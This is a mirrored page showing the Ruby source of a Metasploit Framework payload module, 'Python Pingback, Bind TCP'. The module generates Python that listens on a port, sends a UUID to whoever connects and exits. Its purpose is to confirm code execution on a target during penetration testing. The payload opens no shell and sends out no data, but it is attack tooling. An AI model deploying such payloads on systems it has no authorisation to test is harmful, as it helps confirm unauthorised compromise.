Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/python/pingback_bind_tcp.rb
19715 views
1
module MetasploitModule
2
CachedSize = :dynamic
3
4
include Msf::Payload::Single
5
include Msf::Payload::Python
6
include Msf::Payload::Pingback
7
include Msf::Payload::Pingback::Options
8
9
def initialize(info = {})
10
super(
11
merge_info(
12
info,
13
'Name' => 'Python Pingback, Bind TCP (via python)',
14
'Description' => 'Listens for a connection from the attacker, sends a UUID, then terminates',
15
'Author' => 'asoto-r7',
16
'License' => MSF_LICENSE,
17
'Platform' => 'python',
18
'Arch' => ARCH_PYTHON,
19
'Handler' => Msf::Handler::BindTcp,
20
'Session' => Msf::Sessions::Pingback,
21
'PayloadType' => 'python'
22
)
23
)
24
end
25
26
def generate(_opts = {})
27
super.to_s + command_string
28
end
29
30
def command_string
31
self.pingback_uuid ||= generate_pingback_uuid
32
cmd = <<~PYTHON
33
import binascii as b
34
import socket as s
35
o=s.socket(s.AF_INET,s.SOCK_STREAM)
36
try:
37
o.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1)
38
o.bind(('0.0.0.0', #{datastore['LPORT']}))
39
o.listen(1)
40
o,addr=o.accept()
41
o.send(b.a2b_base64('#{[[self.pingback_uuid].pack('H*')].pack('m0')}'))
42
o.close()
43
except:
44
pass
45
PYTHON
46
47
py_create_exec_stub(cmd)
48
end
49
end
50
51